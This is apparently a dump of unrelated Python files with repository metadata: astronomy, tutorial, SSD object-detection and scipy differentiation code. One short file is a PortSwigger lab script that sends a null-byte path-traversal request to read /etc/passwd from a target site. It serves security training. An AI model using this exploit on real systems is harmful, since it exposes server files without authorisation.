cat['designation'][0].decode('utf-8'): if numpy.any(numpy.fabs(epoch-2015.5) > 0.01): warn_about_epoch= True if warn_about_epoch: warnings.warn("You appear to be using a Gaia catalog, but are not setting the epoch to 2015. (DR1) or 2015.5 (DR2), which may lead to incorrect matches") return None

e40c283a7830ae526fea47bfe3f1719fdb809be3

py

Python

directory-traversal/validate-file-extension-null-byte-bypass.py

brandonaltermatt/penetration-testing-scripts

433b5d000a5573e60b9d8e49932cedce74937ebc

directory-traversal/validate-file-extension-null-byte-bypass.py

brandonaltermatt/penetration-testing-scripts

433b5d000a5573e60b9d8e49932cedce74937ebc

directory-traversal/validate-file-extension-null-byte-bypass.py

brandonaltermatt/penetration-testing-scripts

433b5d000a5573e60b9d8e49932cedce74937ebc

""" https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass """ import sys import requests site = sys.argv[1] if 'https://' in site: site = site.rstrip('/').lstrip('https://') url = f'''https://{site}/image?filename=../../../etc/passwd%00.png''' s = requests.Session() resp = s.get(url) print(resp.text)

7c0efca532f7042e0db58c5e7fb4f25f0274261b

py

Python

Assignment Day 2 .py

ShubhamKahlon57/Letsupgrade-python-Batch-7

7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af

Assignment Day 2 .py

ShubhamKahlon57/Letsupgrade-python-Batch-7

7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af

Assignment Day 2 .py

ShubhamKahlon57/Letsupgrade-python-Batch-7

7989c2d2f17e58dd4ee8f278c37d2c1d18e5e3af

#!/usr/bin/env python # coding: utf-8 # In[ ]: #List and function # In[6]: # empty list my_list = [] # list of integers my_list = [1, 2, 3] # list with mixed data types my_list = [1, "Hello", 3.4] # In[7]: # nested list my_list = ["mouse", [8, 4, 6], ['a']] # In[11]: # List indexing my_list = ['p', 'r', 'o', 'b', 'e'] # Output: p print(my_list[0]) # Output: o print(my_list[2]) # Output: e print(my_list[4]) # Nested List n_list = ["Happy", [2, 0, 1, 5]] # Nested indexing print(n_list[0][1]) print(n_list[1][3]) # Error! Only integer can be used for indexing print(my_list[4]) # In[9]: # Appending and Extending lists in Python odd = [1, 3, 5] odd.append(7) print(odd) odd.extend([9, 11, 13]) print(odd) # In[13]: # Deleting list items my_list = ['p', 'r', 'o', 'b', 'l', 'e', 'm'] # delete one item del my_list[2] print(my_list) # delete multiple items del my_list[1:5] print(my_list) # delete entire list del my_list # In[14]: # Appending and Extending lists in Python odd = [1, 3, 5] odd.append(7) print(odd) odd.extend([9, 11, 13]) print(odd) # In[15]: #Dictionary and function # In[18]: y_dict = {} # dictionary with integer keys my_dict = {1: 'apple', 2: 'ball'} # dictionary with mixed keys my_dict = {'name': 'John', 1: [2, 4, 3]} # using dict() my_dict = dict({1:'apple', 2:'ball'}) # from sequence having each item as a pair my_dict = dict([(1,'apple'), (2,'ball')]) # In[20]: # get vs [] for retrieving elements my_dict = {'name': 'Jack', 'age': 26} # Output: Jack print(my_dict['name']) # Output: 26 print(my_dict.get('age')) # In[21]: # Changing and adding Dictionary Elements my_dict = {'name': 'Jack', 'age': 26} # update value my_dict['age'] = 27 #Output: {'age': 27, 'name': 'Jack'} print(my_dict) # add item my_dict['address'] = 'Downtown' # Output: {'address': 'Downtown', 'age': 27, 'name': 'Jack'} print(my_dict) # In[22]: #Sets and its function # In[23]: my_set = {1, 2, 3} print(my_set) # In[24]: my_set = {1.0, "Hello", (1, 2, 3)} print(my_set) # In[25]: # set cannot have duplicates my_set = {1, 2, 3, 4, 3, 2} print(my_set) # In[26]: #Tuple and its method # In[27]: # Tuple having integers my_tuple = (1, 2, 3) print(my_tuple) # In[28]: my_tuple = ("hello") print(type(my_tuple)) # In[30]: # Accessing tuple elements using indexing my_tuple = ('p','e','r','m','i','t') print(my_tuple[0]) print(my_tuple[5]) # In[31]: print(my_tuple[-1]) # In[32]: print(my_tuple[-6]) # In[36]: # Changing tuple values my_tuple = (4, 2, 3, [6, 5]) # TypeError: 'tuple' object does not support item assignment # my_tuple[1] = 9 # However, item of mutable element can be changed my_tuple[3][0] = 9 # Output: (4, 2, 3, [9, 5]) print(my_tuple) # Tuples can be reassigned my_tuple = ('p', 'r', 'o', 'g', 'r', 'a', 'm', 'i', 'z') # Output: ('p', 'r', 'o', 'g', 'r', 'a', 'm', 'i', 'z') print(my_tuple) # In[37]: #String and its function # In[38]: # Python string examples - all assignments are identical. String_var = 'Python' String_var = "Python" String_var = """Python""" # with Triple quotes Strings can extend to multiple lines String_var = """ This document will help you to explore all the concepts of Python Strings!!! """ # Replace "document" with "tutorial" and store in another variable substr_var = String_var.replace("document", "tutorial") print (substr_var) # In[ ]:

7c1199fad1c1f92e7be3b25334e3b5e42a47fbe5

py

Python

dl/models/ssd/modules/utils.py

jjjkkkjjj/pytorch.dl

d82aa1191c14f328c62de85e391ac6fa1b4c7ee3

2021-02-06T22:40:13.000Z

2021-03-26T09:15:34.000Z

dl/models/ssd/modules/utils.py

jjjkkkjjj/pytorch.dl

d82aa1191c14f328c62de85e391ac6fa1b4c7ee3

2020-07-11T07:10:51.000Z

2022-03-12T00:39:03.000Z

dl/models/ssd/modules/utils.py

jjjkkkjjj/pytorch.dl

d82aa1191c14f328c62de85e391ac6fa1b4c7ee3

2021-03-26T09:19:42.000Z

2021-07-27T02:38:09.000Z

import torch from ....data.utils.boxes import centroids2corners, iou def matching_strategy(targets, dboxes, **kwargs): """ :param targets: Tensor, shape is (batch*object num(batch), 1+4+class_labels) :param dboxes: shape is (default boxes num, 4) IMPORTANT: Note that means (cx, cy, w, h) :param kwargs: threshold: (Optional) float, threshold for returned indicator batch_num: (Required) int, batch size :return: pos_indicator: Bool Tensor, shape = (batch, default box num). this represents whether each default box is object or background. matched_targets: Tensor, shape = (batch, default box num, 4+class_num) including background """ threshold = kwargs.pop('threshold', 0.5) batch_num = kwargs.pop('batch_num') device = dboxes.device dboxes_num = dboxes.shape[0] # minus 'box number per image' and 'localization=(cx, cy, w, h)' class_num = targets[0].shape[1] - 4 # convert centered coordinated to minmax coordinates dboxes_mm = centroids2corners(dboxes) # create returned empty Tensor pos_indicator, matched_targets = torch.empty((batch_num, dboxes_num), device=device, dtype=torch.bool), torch.empty((batch_num, dboxes_num, 4 + class_num), device=device) # matching for each batch index = 0 for b, target in enumerate(targets): targets_loc, targets_conf = target[:, :4], target[:, 4:] # overlaps' shape = (object num, default box num) overlaps = iou(centroids2corners(targets_loc), dboxes_mm.clone()) """ best_overlap_per_object, best_dbox_ind_per_object = overlaps.max(dim=1) best_overlap_per_dbox, best_object_ind_per_dbox = overlaps.max(dim=0) for object_ind, dbox_ind in enumerate(best_dbox_ind_per_object): best_object_ind_per_dbox[dbox_ind] = object_ind best_overlap_per_dbox.index_fill_(0, best_dbox_ind_per_object, 999) pos_ind = best_overlap_per_dbox > threshold pos_indicator[b] = pos_ind gt_loc[b], gt_conf[b] = targets[best_object_ind_per_dbox], targets_conf[best_object_ind_per_dbox] neg_ind = torch.logical_not(pos_ind) gt_conf[b, neg_ind] = 0 gt_conf[b, neg_ind, -1] = 1 """ # get maximum overlap value for each default box # shape = (batch num, dboxes num) overlaps_per_dbox, object_indices = overlaps.max(dim=0) #object_indices = object_indices.long() # for fancy indexing # get maximum overlap values for each object # shape = (batch num, object num) overlaps_per_object, dbox_indices = overlaps.max(dim=1) for obj_ind, dbox_ind in enumerate(dbox_indices): object_indices[dbox_ind] = obj_ind overlaps_per_dbox.index_fill_(0, dbox_indices, threshold + 1)# ensure N!=0 pos_ind = overlaps_per_dbox > threshold # assign targets matched_targets[b, :, :4], matched_targets[b, :, 4:] = targets_loc[object_indices], targets_conf[object_indices] pos_indicator[b] = pos_ind # set background flag neg_ind = torch.logical_not(pos_ind) matched_targets[b, neg_ind, 4:] = 0 matched_targets[b, neg_ind, -1] = 1 return pos_indicator, matched_targets def matching_strategy_quads(targets, dboxes, **kwargs): """ :param targets: Tensor, shape is (batch*object num(batch), 4=(cx,cy,w,h)+8=(x1,y1,x2,y2,...)+class_labels) :param dboxes: shape is (default boxes num, 4) IMPORTANT: Note that means (cx, cy, w, h) :param kwargs: threshold: (Optional) float, threshold for returned indicator batch_num: (Required) int, batch size :return: pos_indicator: Bool Tensor, shape = (batch, default box num). this represents whether each default box is object or background. matched_targets: Tensor, shape = (batch, default box num, 4+class_num) including background """ threshold = kwargs.pop('threshold', 0.5) batch_num = kwargs.pop('batch_num') device = dboxes.device dboxes_num = dboxes.shape[0] # minus 'box number per image' and 'localization=(cx, cy, w, h)' class_num = targets[0].shape[1] - 4 - 8 # convert centered coordinated to minmax coordinates dboxes_mm = centroids2corners(dboxes) # create returned empty Tensor pos_indicator, matched_targets = torch.empty((batch_num, dboxes_num), device=device, dtype=torch.bool), torch.empty( (batch_num, dboxes_num, 4 + 8 + class_num), device=device) # matching for each batch index = 0 for b, target in enumerate(targets): targets_loc, targets_quad, targets_conf = target[:, :4], target[:, 4:12], target[:, 12:] # overlaps' shape = (object num, default box num) overlaps = iou(centroids2corners(targets_loc), dboxes_mm.clone()) """ best_overlap_per_object, best_dbox_ind_per_object = overlaps.max(dim=1) best_overlap_per_dbox, best_object_ind_per_dbox = overlaps.max(dim=0) for object_ind, dbox_ind in enumerate(best_dbox_ind_per_object): best_object_ind_per_dbox[dbox_ind] = object_ind best_overlap_per_dbox.index_fill_(0, best_dbox_ind_per_object, 999) pos_ind = best_overlap_per_dbox > threshold pos_indicator[b] = pos_ind gt_loc[b], gt_conf[b] = targets[best_object_ind_per_dbox], targets_conf[best_object_ind_per_dbox] neg_ind = torch.logical_not(pos_ind) gt_conf[b, neg_ind] = 0 gt_conf[b, neg_ind, -1] = 1 """ # get maximum overlap value for each default box # shape = (batch num, dboxes num) overlaps_per_dbox, object_indices = overlaps.max(dim=0) # object_indices = object_indices.long() # for fancy indexing # get maximum overlap values for each object # shape = (batch num, object num) overlaps_per_object, dbox_indices = overlaps.max(dim=1) for obj_ind, dbox_ind in enumerate(dbox_indices): object_indices[dbox_ind] = obj_ind overlaps_per_dbox.index_fill_(0, dbox_indices, threshold + 1) # ensure N!=0 pos_ind = overlaps_per_dbox > threshold # assign targets matched_targets[b, :, :4], matched_targets[b, :, 4:12], matched_targets[b, :, 12:] = \ targets_loc[object_indices], targets_quad[object_indices], targets_conf[object_indices] pos_indicator[b] = pos_ind # set background flag neg_ind = torch.logical_not(pos_ind) matched_targets[b, neg_ind, 12:] = 0 matched_targets[b, neg_ind, -1] = 1 return pos_indicator, matched_targets

7c138f84c229bf0a17e877706fc36f489907d8bf

py

Python

scipy/optimize/_numdiff.py

jeremiedbb/scipy

2bea64c334b18fd445a7945b350d7ace2dc22913

2019-12-19T16:51:27.000Z

2019-12-19T16:51:27.000Z

scipy/optimize/_numdiff.py

jeremiedbb/scipy

2bea64c334b18fd445a7945b350d7ace2dc22913

scipy/optimize/_numdiff.py

jeremiedbb/scipy

2bea64c334b18fd445a7945b350d7ace2dc22913

"""Routines for numerical differentiation.""" from __future__ import division import numpy as np from numpy.linalg import norm from scipy.sparse.linalg import LinearOperator from ..sparse import issparse, csc_matrix, csr_matrix, coo_matrix, find from ._group_columns import group_dense, group_sparse EPS = np.finfo(np.float64).eps def _adjust_scheme_to_bounds(x0, h, num_steps, scheme, lb, ub): """Adjust final difference scheme to the presence of bounds. Parameters ---------- x0 : ndarray, shape (n,) Point at which we wish to estimate derivative. h : ndarray, shape (n,) Desired finite difference steps. num_steps : int Number of `h` steps in one direction required to implement finite difference scheme. For example, 2 means that we need to evaluate f(x0 + 2 * h) or f(x0 - 2 * h) scheme : {'1-sided', '2-sided'} Whether steps in one or both directions are required. In other words '1-sided' applies to forward and backward schemes, '2-sided' applies to center schemes. lb : ndarray, shape (n,) Lower bounds on independent variables. ub : ndarray, shape (n,) Upper bounds on independent variables. Returns ------- h_adjusted : ndarray, shape (n,) Adjusted step sizes. Step size decreases only if a sign flip or switching to one-sided scheme doesn't allow to take a full step. use_one_sided : ndarray of bool, shape (n,) Whether to switch to one-sided scheme. Informative only for ``scheme='2-sided'``. """ if scheme == '1-sided': use_one_sided = np.ones_like(h, dtype=bool) elif scheme == '2-sided': h = np.abs(h) use_one_sided = np.zeros_like(h, dtype=bool) else: raise ValueError("`scheme` must be '1-sided' or '2-sided'.") if np.all((lb == -np.inf) & (ub == np.inf)): return h, use_one_sided h_total = h * num_steps h_adjusted = h.copy() lower_dist = x0 - lb upper_dist = ub - x0 if scheme == '1-sided': x = x0 + h_total violated = (x < lb) | (x > ub) fitting = np.abs(h_total) <= np.maximum(lower_dist, upper_dist) h_adjusted[violated & fitting] *= -1 forward = (upper_dist >= lower_dist) & ~fitting h_adjusted[forward] = upper_dist[forward] / num_steps backward = (upper_dist < lower_dist) & ~fitting h_adjusted[backward] = -lower_dist[backward] / num_steps elif scheme == '2-sided': central = (lower_dist >= h_total) & (upper_dist >= h_total) forward = (upper_dist >= lower_dist) & ~central h_adjusted[forward] = np.minimum( h[forward], 0.5 * upper_dist[forward] / num_steps) use_one_sided[forward] = True backward = (upper_dist < lower_dist) & ~central h_adjusted[backward] = -np.minimum( h[backward], 0.5 * lower_dist[backward] / num_steps) use_one_sided[backward] = True min_dist = np.minimum(upper_dist, lower_dist) / num_steps adjusted_central = (~central & (np.abs(h_adjusted) <= min_dist)) h_adjusted[adjusted_central] = min_dist[adjusted_central] use_one_sided[adjusted_central] = False return h_adjusted, use_one_sided relative_step = {"2-point": EPS**0.5, "3-point": EPS**(1/3), "cs": EPS**0.5} def _compute_absolute_step(rel_step, x0, method): if rel_step is None: rel_step = relative_step[method] sign_x0 = (x0 >= 0).astype(float) * 2 - 1 return rel_step * sign_x0 * np.maximum(1.0, np.abs(x0)) def _prepare_bounds(bounds, x0): lb, ub = [np.asarray(b, dtype=float) for b in bounds] if lb.ndim == 0: lb = np.resize(lb, x0.shape) if ub.ndim == 0: ub = np.resize(ub, x0.shape) return lb, ub def group_columns(A, order=0): """Group columns of a 2-D matrix for sparse finite differencing [1]_. Two columns are in the same group if in each row at least one of them has zero. A greedy sequential algorithm is used to construct groups. Parameters ---------- A : array_like or sparse matrix, shape (m, n) Matrix of which to group columns. order : int, iterable of int with shape (n,) or None Permutation array which defines the order of columns enumeration. If int or None, a random permutation is used with `order` used as a random seed. Default is 0, that is use a random permutation but guarantee repeatability. Returns ------- groups : ndarray of int, shape (n,) Contains values from 0 to n_groups-1, where n_groups is the number of found groups. Each value ``groups[i]`` is an index of a group to which ith column assigned. The procedure was helpful only if n_groups is significantly less than n. References ---------- .. [1] A. Curtis, M. J. D. Powell, and J. Reid, "On the estimation of sparse Jacobian matrices", Journal of the Institute of Mathematics and its Applications, 13 (1974), pp. 117-120. """ if issparse(A): A = csc_matrix(A) else: A = np.atleast_2d(A) A = (A != 0).astype(np.int32) if A.ndim != 2: raise ValueError("`A` must be 2-dimensional.") m, n = A.shape if order is None or np.isscalar(order): rng = np.random.RandomState(order) order = rng.permutation(n) else: order = np.asarray(order) if order.shape != (n,): raise ValueError("`order` has incorrect shape.") A = A[:, order] if issparse(A): groups = group_sparse(m, n, A.indices, A.indptr) else: groups = group_dense(m, n, A) groups[order] = groups.copy() return groups def approx_derivative(fun, x0, method='3-point', rel_step=None, f0=None, bounds=(-np.inf, np.inf), sparsity=None, as_linear_operator=False, args=(), kwargs={}): """Compute finite difference approximation of the derivatives of a vector-valued function. If a function maps from R^n to R^m, its derivatives form m-by-n matrix called the Jacobian, where an element (i, j) is a partial derivative of f[i] with respect to x[j]. Parameters ---------- fun : callable Function of which to estimate the derivatives. The argument x passed to this function is ndarray of shape (n,) (never a scalar even if n=1). It must return 1-D array_like of shape (m,) or a scalar. x0 : array_like of shape (n,) or float Point at which to estimate the derivatives. Float will be converted to a 1-D array. method : {'3-point', '2-point', 'cs'}, optional Finite difference method to use: - '2-point' - use the first order accuracy forward or backward difference. - '3-point' - use central difference in interior points and the second order accuracy forward or backward difference near the boundary. - 'cs' - use a complex-step finite difference scheme. This assumes that the user function is real-valued and can be analytically continued to the complex plane. Otherwise, produces bogus results. rel_step : None or array_like, optional Relative step size to use. The absolute step size is computed as ``h = rel_step * sign(x0) * max(1, abs(x0))``, possibly adjusted to fit into the bounds. For ``method='3-point'`` the sign of `h` is ignored. If None (default) then step is selected automatically, see Notes. f0 : None or array_like, optional If not None it is assumed to be equal to ``fun(x0)``, in this case the ``fun(x0)`` is not called. Default is None. bounds : tuple of array_like, optional Lower and upper bounds on independent variables. Defaults to no bounds. Each bound must match the size of `x0` or be a scalar, in the latter case the bound will be the same for all variables. Use it to limit the range of function evaluation. Bounds checking is not implemented when `as_linear_operator` is True. sparsity : {None, array_like, sparse matrix, 2-tuple}, optional Defines a sparsity structure of the Jacobian matrix. If the Jacobian matrix is known to have only few non-zero elements in each row, then it's possible to estimate its several columns by a single function evaluation [3]_. To perform such economic computations two ingredients are required: * structure : array_like or sparse matrix of shape (m, n). A zero element means that a corresponding element of the Jacobian identically equals to zero. * groups : array_like of shape (n,). A column grouping for a given sparsity structure, use `group_columns` to obtain it. A single array or a sparse matrix is interpreted as a sparsity structure, and groups are computed inside the function. A tuple is interpreted as (structure, groups). If None (default), a standard dense differencing will be used. Note, that sparse differencing makes sense only for large Jacobian matrices where each row contains few non-zero elements. as_linear_operator : bool, optional When True the function returns an `scipy.sparse.linalg.LinearOperator`. Otherwise it returns a dense array or a sparse matrix depending on `sparsity`. The linear operator provides an efficient way of computing ``J.dot(p)`` for any vector ``p`` of shape (n,), but does not allow direct access to individual elements of the matrix. By default `as_linear_operator` is False. args, kwargs : tuple and dict, optional Additional arguments passed to `fun`. Both empty by default. The calling signature is ``fun(x, *args, **kwargs)``. Returns ------- J : {ndarray, sparse matrix, LinearOperator} Finite difference approximation of the Jacobian matrix. If `as_linear_operator` is True returns a LinearOperator with shape (m, n). Otherwise it returns a dense array or sparse matrix depending on how `sparsity` is defined. If `sparsity` is None then a ndarray with shape (m, n) is returned. If `sparsity` is not None returns a csr_matrix with shape (m, n). For sparse matrices and linear operators it is always returned as a 2-D structure, for ndarrays, if m=1 it is returned as a 1-D gradient array with shape (n,). See Also -------- check_derivative : Check correctness of a function computing derivatives. Notes ----- If `rel_step` is not provided, it assigned to ``EPS**(1/s)``, where EPS is machine epsilon for float64 numbers, s=2 for '2-point' method and s=3 for '3-point' method. Such relative step approximately minimizes a sum of truncation and round-off errors, see [1]_. A finite difference scheme for '3-point' method is selected automatically. The well-known central difference scheme is used for points sufficiently far from the boundary, and 3-point forward or backward scheme is used for points near the boundary. Both schemes have the second-order accuracy in terms of Taylor expansion. Refer to [2]_ for the formulas of 3-point forward and backward difference schemes. For dense differencing when m=1 Jacobian is returned with a shape (n,), on the other hand when n=1 Jacobian is returned with a shape (m, 1). Our motivation is the following: a) It handles a case of gradient computation (m=1) in a conventional way. b) It clearly separates these two different cases. b) In all cases np.atleast_2d can be called to get 2-D Jacobian with correct dimensions. References ---------- .. [1] W. H. Press et. al. "Numerical Recipes. The Art of Scientific Computing. 3rd edition", sec. 5.7. .. [2] A. Curtis, M. J. D. Powell, and J. Reid, "On the estimation of sparse Jacobian matrices", Journal of the Institute of Mathematics and its Applications, 13 (1974), pp. 117-120. .. [3] B. Fornberg, "Generation of Finite Difference Formulas on Arbitrarily Spaced Grids", Mathematics of Computation 51, 1988. Examples -------- >>> import numpy as np >>> from scipy.optimize import approx_derivative >>> >>> def f(x, c1, c2): ... return np.array([x[0] * np.sin(c1 * x[1]), ... x[0] * np.cos(c2 * x[1])]) ... >>> x0 = np.array([1.0, 0.5 * np.pi]) >>> approx_derivative(f, x0, args=(1, 2)) array([[ 1., 0.], [-1., 0.]]) Bounds can be used to limit the region of function evaluation. In the example below we compute left and right derivative at point 1.0. >>> def g(x): ... return x**2 if x >= 1 else x ... >>> x0 = 1.0 >>> approx_derivative(g, x0, bounds=(-np.inf, 1.0)) array([ 1.]) >>> approx_derivative(g, x0, bounds=(1.0, np.inf)) array([ 2.]) """ if method not in ['2-point', '3-point', 'cs']: raise ValueError("Unknown method '%s'. " % method) x0 = np.atleast_1d(x0) if x0.ndim > 1: raise ValueError("`x0` must have at most 1 dimension.") lb, ub = _prepare_bounds(bounds, x0) if lb.shape != x0.shape or ub.shape != x0.shape: raise ValueError("Inconsistent shapes between bounds and `x0`.") if as_linear_operator and not (np.all(np.isinf(lb)) and np.all(np.isinf(ub))): raise ValueError("Bounds not supported when " "`as_linear_operator` is True.") def fun_wrapped(x): f = np.atleast_1d(fun(x, *args, **kwargs)) if f.ndim > 1: raise RuntimeError("`fun` return value has " "more than 1 dimension.") return f if f0 is None: f0 = fun_wrapped(x0) else: f0 = np.atleast_1d(f0) if f0.ndim > 1: raise ValueError("`f0` passed has more than 1 dimension.") if np.any((x0 < lb) | (x0 > ub)): raise ValueError("`x0` violates bound constraints.") if as_linear_operator: if rel_step is None: rel_step = relative_step[method] return _linear_operator_difference(fun_wrapped, x0, f0, rel_step, method) else: h = _compute_absolute_step(rel_step, x0, method) if method == '2-point': h, use_one_sided = _adjust_scheme_to_bounds( x0, h, 1, '1-sided', lb, ub) elif method == '3-point': h, use_one_sided = _adjust_scheme_to_bounds( x0, h, 1, '2-sided', lb, ub) elif method == 'cs': use_one_sided = False if sparsity is None: return _dense_difference(fun_wrapped, x0, f0, h, use_one_sided, method) else: if not issparse(sparsity) and len(sparsity) == 2: structure, groups = sparsity else: structure = sparsity groups = group_columns(sparsity) if issparse(structure): structure = csc_matrix(structure) else: structure = np.atleast_2d(structure) groups = np.atleast_1d(groups) return _sparse_difference(fun_wrapped, x0, f0, h, use_one_sided, structure, groups, method) def _linear_operator_difference(fun, x0, f0, h, method): m = f0.size n = x0.size if method == '2-point': def matvec(p): if np.array_equal(p, np.zeros_like(p)): return np.zeros(m) dx = h / norm(p) x = x0 + dx*p df = fun(x) - f0 return df / dx elif method == '3-point': def matvec(p): if np.array_equal(p, np.zeros_like(p)): return np.zeros(m) dx = 2*h / norm(p) x1 = x0 - (dx/2)*p x2 = x0 + (dx/2)*p f1 = fun(x1) f2 = fun(x2) df = f2 - f1 return df / dx elif method == 'cs': def matvec(p): if np.array_equal(p, np.zeros_like(p)): return np.zeros(m) dx = h / norm(p) x = x0 + dx*p*1.j f1 = fun(x) df = f1.imag return df / dx else: raise RuntimeError("Never be here.") return LinearOperator((m, n), matvec) def _dense_difference(fun, x0, f0, h, use_one_sided, method): m = f0.size n = x0.size J_transposed = np.empty((n, m)) h_vecs = np.diag(h) for i in range(h.size): if method == '2-point': x = x0 + h_vecs[i] dx = x[i] - x0[i] # Recompute dx as exactly representable number. df = fun(x) - f0 elif method == '3-point' and use_one_sided[i]: x1 = x0 + h_vecs[i] x2 = x0 + 2 * h_vecs[i] dx = x2[i] - x0[i] f1 = fun(x1) f2 = fun(x2) df = -3.0 * f0 + 4 * f1 - f2 elif method == '3-point' and not use_one_sided[i]: x1 = x0 - h_vecs[i] x2 = x0 + h_vecs[i] dx = x2[i] - x1[i] f1 = fun(x1) f2 = fun(x2) df = f2 - f1 elif method == 'cs': f1 = fun(x0 + h_vecs[i]*1.j) df = f1.imag dx = h_vecs[i, i] else: raise RuntimeError("Never be here.") J_transposed[i] = df / dx if m == 1: J_transposed = np.ravel(J_transposed) return J_transposed.T def _sparse_difference(fun, x0, f0, h, use_one_sided, structure, groups, method): m = f0.size n = x0.size row_indices = [] col_indices = [] fractions = [] n_groups = np.max(groups) + 1 for group in range(n_groups): # Perturb variables which are in the same group simultaneously. e = np.equal(group, groups) h_vec = h * e if method == '2-point': x = x0 + h_vec dx = x - x0 df = fun(x) - f0 # The result is written to columns which correspond to perturbed # variables. cols, = np.nonzero(e) # Find all non-zero elements in selected columns of Jacobian. i, j, _ = find(structure[:, cols]) # Restore column indices in the full array. j = cols[j] elif method == '3-point': # Here we do conceptually the same but separate one-sided # and two-sided schemes. x1 = x0.copy() x2 = x0.copy() mask_1 = use_one_sided & e x1[mask_1] += h_vec[mask_1] x2[mask_1] += 2 * h_vec[mask_1] mask_2 = ~use_one_sided & e x1[mask_2] -= h_vec[mask_2] x2[mask_2] += h_vec[mask_2] dx = np.zeros(n) dx[mask_1] = x2[mask_1] - x0[mask_1] dx[mask_2] = x2[mask_2] - x1[mask_2] f1 = fun(x1) f2 = fun(x2) cols, = np.nonzero(e) i, j, _ = find(structure[:, cols]) j = cols[j] mask = use_one_sided[j] df = np.empty(m) rows = i[mask] df[rows] = -3 * f0[rows] + 4 * f1[rows] - f2[rows] rows = i[~mask] df[rows] = f2[rows] - f1[rows] elif method == 'cs': f1 = fun(x0 + h_vec*1.j) df = f1.imag dx = h_vec cols, = np.nonzero(e) i, j, _ = find(structure[:, cols]) j = cols[j] else: raise ValueError("Never be here.") # All that's left is to compute the fraction. We store i, j and # fractions as separate arrays and later construct coo_matrix. row_indices.append(i) col_indices.append(j) fractions.append(df[i] / dx[j]) row_indices = np.hstack(row_indices) col_indices = np.hstack(col_indices) fractions = np.hstack(fractions) J = coo_matrix((fractions, (row_indices, col_indices)), shape=(m, n)) return csr_matrix(J) def check_derivative(fun, jac, x0, bounds=(-np.inf, np.inf), args=(), kwargs={}): """Check correctness of a function computing derivatives (Jacobian or gradient) by comparison with a finite difference approximation. Parameters ---------- fun : callable Function of which to estimate the derivatives. The argument x passed to this function is ndarray of shape (n,) (never a scalar even if n=1). It must return 1-D array_like of shape (m,) or a scalar. jac : callable Function which computes Jacobian matrix of `fun`. It must work with argument x the same way as `fun`. The return value must be array_like or sparse matrix with an appropriate shape. x0 : array_like of shape (n,) or float Point at which to estimate the derivatives. Float will be converted to 1-D array. bounds : 2-tuple of array_like, optional Lower and upper bounds on independent variables. Defaults to no bounds. Each bound must match the size of `x0` or be a scalar, in the latter case the bound will be the same for all variables. Use it to limit the range of function evaluation. args, kwargs : tuple and dict, optional Additional arguments passed to `fun` and `jac`. Both empty by default. The calling signature is ``fun(x, *args, **kwargs)`` and the same for `jac`. Returns ------- accuracy : float The maximum among all relative errors for elements with absolute values higher than 1 and absolute errors for elements with absolute values less or equal than 1. If `accuracy` is on the order of 1e-6 or lower, then it is likely that your `jac` implementation is correct. See Also -------- approx_derivative : Compute finite difference approximation of derivative. Examples -------- >>> import numpy as np >>> from scipy.optimize import check_derivative >>> >>> >>> def f(x, c1, c2): ... return np.array([x[0] * np.sin(c1 * x[1]), ... x[0] * np.cos(c2 * x[1])]) ... >>> def jac(x, c1, c2): ... return np.array([ ... [np.sin(c1 * x[1]), c1 * x[0] * np.cos(c1 * x[1])], ... [np.cos(c2 * x[1]), -c2 * x[0] * np.sin(c2 * x[1])] ... ]) ... >>> >>> x0 = np.array([1.0, 0.5 * np.pi]) >>> check_derivative(f, jac, x0, args=(1, 2)) 2.4492935982947064e-16 """ J_to_test = jac(x0, *args, **kwargs) if issparse(J_to_test): J_diff = approx_derivative(fun, x0, bounds=bounds, sparsity=J_to_test, args=args, kwargs=kwargs) J_to_test = csr_matrix(J_to_test) abs_err = J_to_test - J_diff i, j, abs_err_data = find(abs_err) J_diff_data = np.asarray(J_diff[i, j]).ravel() return np.max(np.abs(abs_err_data) / np.maximum(1, np.abs(J_diff_data))) else: J_diff = approx_derivative(fun, x0, bounds=bounds, args=args, kwargs=kwargs) abs_err = np.abs(J_to_test - J_diff) return np.max(abs_err / np.maximum(1, np.abs(J_diff)))

7c170adc77db7c06c4c5968ae2d5e3df343748b4

py

Python

python97/chapter05/list_gen.py

youaresherlock/PythonPractice

2e22d3fdcb26353cb0d8215c150e84d11bc9a022

python97/chapter05/list_gen.py

youaresherlock/PythonPractice

2e22d3fdcb26353cb0d8215c150e84d11bc9a022

python97/chapter05/list_gen.py

youaresherlock/PythonPractice

2e22d3fdcb26353cb0d8215c150e84d11bc9a022

2019-11-05T01:10:15.000Z

2019-11-05T01:10:15.000Z

#!usr/bin/python # -*- coding:utf8 -*- # 列表生成式(列表推导式) # 1. 提取出1-20之间的奇数 # odd_list = [] # for i in range(21): # if i % 2 == 1: # odd_list.append(i) # odd_list = [i for i in range(21) if i % 2 == 1] # print(odd_list) # 2. 逻辑复杂的情况 如果是奇数将结果平方 # 列表生成式性能高于列表操作 def handle_item(item): return item * item odd_list = [handle_item(i) for i in range(21) if i % 2 == 1] print(odd_list) # 生成器表达式 odd_gen = (i for i in range(21) if i % 2 == 1) print(type(odd_gen)) for item in odd_gen: print(item) # 字典推导式 my_dict = {"bobby1": 22, "bobby2": 23, "imooc.com": 5} reversed_dict = {value:key for key, value in my_dict.items()} print(reversed_dict) # 集合推导式 my_set = set(my_dict.keys()) my_set = {key for key, value in my_dict.items()} print(type(my_set))

7c1ed9a736672c0c84e29905bebe37cc7b644280

py

Python

Jarvis.py

vijayeshmt/Securitylock

5877663a170a22ab8b5931dcef07c74f149cf9b8

2021-05-27T09:05:00.000Z

2021-05-27T09:05:00.000Z

Jarvis.py

vijayeshmt/Securitylock

5877663a170a22ab8b5931dcef07c74f149cf9b8

Jarvis.py

vijayeshmt/Securitylock

5877663a170a22ab8b5931dcef07c74f149cf9b8

